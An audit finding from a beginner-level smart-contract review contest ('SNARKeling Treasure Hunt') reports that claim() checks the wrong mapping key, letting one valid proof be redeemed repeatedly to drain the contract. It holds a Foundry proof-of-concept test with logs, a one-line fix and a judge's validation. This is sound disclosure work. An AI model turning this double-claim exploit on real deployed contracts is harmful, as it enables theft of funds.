SNARKeling Treasure Hunt

First Flight #59
Beginner FriendlyGameFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

Double Claim Vulnerability - Same Treasure Claimable Multiple Times

An attacker can claim the same treasure multiple times, draining the entire contract balance.

Description

  • The claim() function should mark each treasure as claimed only once.

  • But it checks claimed[_treasureHash] (always 0x0) instead of claimed[treasureHash] (the parameter), allowing repeated claims.

if (claimed[_treasureHash]) revert AlreadyClaimed(treasureHash); // @> WRONG KEY
// ...
_markClaimed(treasureHash); // @> MARKS DIFFERENT KEY

Risk

Likelihood:

  • An attacker with a valid proof can call claim() repeatedly with the same proof and treasureHash.

  • Each call succeeds because the duplicate check compares against the wrong key.

Impact:

  • Attacker can drain entire contract balance (100 ETH with 10 claims of 10 ETH each).

  • Contract cannot prevent legitimate users from claiming after funds are depleted.

Proof of Concept

function testClaimTwishPath() public {
(
bytes memory proof,
bytes32 treasureHash,
address payable recipient
) = _loadFixture();
uint256 beforeBal = recipient.balance;
uint256 contractbalace = address(hunt).balance;
hunt.claim(proof, treasureHash, recipient);
uint256 afterFirstClaim = recipient.balance;
uint256 contractAfterFirst = address(hunt).balance;
// SECOND CLAIM - SAME PROOF
hunt.claim(proof, treasureHash, recipient);
uint256 afterSecondClaim = recipient.balance;
uint256 contractAfterSecond = address(hunt).balance;
console.log("After claim 1 - Recipient: ", afterFirstClaim);
console.log("After claim 2 - Recipient: ", afterSecondClaim);
console.log("Contract went from: 100 ETH → 90 ETH → 80 ETH");
}
Test Output:
Logs:
recipient balance after first claim: 10000000000000000000 (10 ETH)
contract balance after first claim: 90000000000000000000 (90 ETH)
recipient balance after second claim: 20000000000000000000 (20 ETH) ← DOUBLE PAYMENT
contract balance after second claim: 80000000000000000000 (80 ETH) ← DRAINED

Recommended Mitigation

- if (claimed[_treasureHash])
+ if (claimed[treasureHash])
Updates

Lead Judging Commences

s3mvl4d Lead Judge 18 days ago
Submission Judgement Published
Validated
Assigned finding tags:

broken double-claim protection

In `claim()`, the guard uses `claimed[_treasureHash]`, where `_treasureHash` is an immutable state variable that is never initialized to the caller-supplied treasure identifier, while the contract later marks `claimed[treasureHash] = true` using the function argument instead. As a result, the duplicate-claim check and the state update are performed against different keys, which means a previously claimed treasure is not actually blocked from being claimed again with the same valid proof and `treasureHash`. This breaks a core invariant of the protocol described in the README, namely, that each treasure can only be redeemed once, and allows one valid treasure/proof pair to be reused to drain rewards repeatedly until either the `MAX_TREASURES` cap or the contract balance is exhausted.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!